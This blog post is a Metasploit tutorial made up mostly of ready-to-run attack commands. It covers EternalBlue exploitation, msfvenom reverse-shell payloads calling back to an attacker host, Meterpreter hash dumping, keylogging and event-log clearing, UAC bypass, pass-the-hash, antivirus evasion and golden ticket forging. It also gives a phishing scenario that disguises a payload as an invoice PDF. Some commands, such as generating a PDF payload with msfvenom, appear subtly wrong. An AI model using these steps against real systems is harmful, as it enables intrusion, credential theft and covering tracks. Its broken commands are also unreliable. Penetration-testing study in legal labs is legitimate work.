Sunday, 29 June 2025

The Ultimate Metasploit Mastery Guide Basic to Advance Part-1

 

The Ultimate Metasploit Mastery Guide: From Basics to Advanced Exploitation

Introduction

Metasploit is the most widely used penetration testing framework, offering powerful tools for exploit development, vulnerability scanning, post-exploitation, and automation. Whether you're a beginner or an advanced security professional, this guide will take you from basic commands to advanced real-world attack scenarios.


Table of Contents

  1. Getting Started with Metasploit

  2. Basic Commands & Exploitation

  3. Payloads & Meterpreter

  4. Post-Exploitation Techniques

  5. Advanced Exploitation & Evasion

  6. Automation & Scripting

  7. Real-World Attack Scenarios

  8. Final Tips & Best Practices


1. Getting Started with Metasploit

What is Metasploit?

Metasploit is an open-source penetration testing framework that provides:

  • Exploits (Code to take advantage of vulnerabilities)

  • Payloads (Malicious code executed after exploitation)

  • Auxiliary modules (Scanners, fuzzers, DoS attacks)

  • Post-exploitation tools (Privilege escalation, pivoting, data exfiltration)

Installation & Setup

bash
# Kali Linux (Pre-installed)
msfconsole

# Ubuntu/Debian
sudo apt install metasploit-framework
msfdb init
msfconsole

2. Basic Commands & Exploitation

Essential Metasploit Commands

CommandDescription
msfconsoleStart Metasploit
search <keyword>Find modules (e.g., search eternalblue)
use <module>Load a module (e.g., use exploit/windows/smb/ms17_010_eternalblue)
show optionsView required settings
set <option> <value>Configure module (e.g., set RHOSTS 192.168.1.100)
run or exploitLaunch the exploit
sessions -lList active sessions
sessions -i <ID>Interact with a session

Step-by-Step Exploitation

  1. Search for an exploit:

    bash
    search ms17_010
  2. Load and configure the exploit:

    bash
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.1.100
    set LHOST 192.168.1.5
  3. Set a payload (optional):

    bash
    set payload windows/x64/meterpreter/reverse_tcp
  4. Launch the attack:

    bash
    exploit

3. Payloads & Meterpreter

Types of Payloads

Payload TypeExampleUse Case
 Stagedwindows/meterpreter/reverse_tcpEvades detection
 Non-stagedwindows/shell_reverse_tcpFaster execution
 Meterpreterwindows/x64/meterpreter_reverse_httpsAdvanced post-exploitation

Generating Payloads with msfvenom

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe

Meterpreter Essentials

CommandDescription
sysinfoGet system details
getuidCheck current user
psList running processes
migrate <PID>Move to another process
hashdumpDump password hashes
keyscan_startStart keylogger
screenshotCapture screen
clearevClear logs

4. Post-Exploitation Techniques

Privilege Escalation

Windows

bash
# Check for local exploits
run post/multi/recon/local_exploit_suggester

# Bypass UAC
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
exploit

Linux

bash
# Check SUID binaries
run post/linux/gather/enum_suid

# Exploit Dirty Cow
use exploit/linux/local/dirtycow
set SESSION 1
exploit

Lateral Movement

TechniqueCommand
Pass-the-Hashuse exploit/windows/smb/psexec + set SMBPass <NTLM>
RDP Hijackingrun post/windows/manage/rdp_hijack

5. Advanced Exploitation & Evasion

Custom Exploit Development

  1. Copy a template:

    bash
    cp /usr/share/metasploit-framework/modules/exploits/example.rb ~/.msf4/modules/exploits/custom/my_exploit.rb
  2. Edit the exploit (Define target, bad characters, etc.)

  3. Reload Metasploit:

    bash
    reload_all

AV & EDR Evasion

TechniqueCommand
Payload Encodingmsfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5
HTTPS Payloadset payload windows/meterpreter/reverse_https
Process Injectionmigrate explorer.exe

6. Automation & Scripting

Resource Scripts (.rc Files)

bash
# auto_exploit.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.5
exploit

Run with:

bash
msfconsole -r auto_exploit.rc

Metasploit API (Python Automation)

python
import msfrpc
client = msfrpc.Msfrpc({})
client.login('msf', 'password')
client.call('console.write', [console_id, 'use exploit/windows/smb/ms17_010_eternalblue\n'])

7. Real-World Attack Scenarios

Scenario 1: Phishing + Meterpreter Payload

  1. Generate a malicious PDF:

    bash
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 -f pdf -o invoice.pdf
  2. Send phishing email with attachment.

  3. Handle the callback:

    bash
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    exploit

Scenario 2: Active Directory Exploitation

  1. Dump hashes with Mimikatz:

    bash
    load kiwi
    lsa_dump_sam
  2. Golden Ticket Attack:

    bash
    golden_ticket_create -d <domain> -k <krbtgt_hash> -u <fake_user> -s <SID>

8. Final Tips & Best Practices

✅ Always update Metasploitmsfupdate
✅ Use check before exploitingcheck
✅ Automate repetitive tasks (.rc scripts, Python API)
✅ Practice legally (TryHackMe, HackTheBox, VulnHub)


Conclusion

This guide covers everything from basic commands to advanced exploitation. Whether you're a beginner or an expert, mastering Metasploit will significantly enhance your penetration testing skills.

What’s next?

  • Try HackTheBox machines to practice.

  • Explore custom exploit development.

  • Learn C2 frameworks (Cobalt Strike, Sliver) for advanced red teaming.

🚀 Happy Hacking! ðŸš€

No comments:

Post a Comment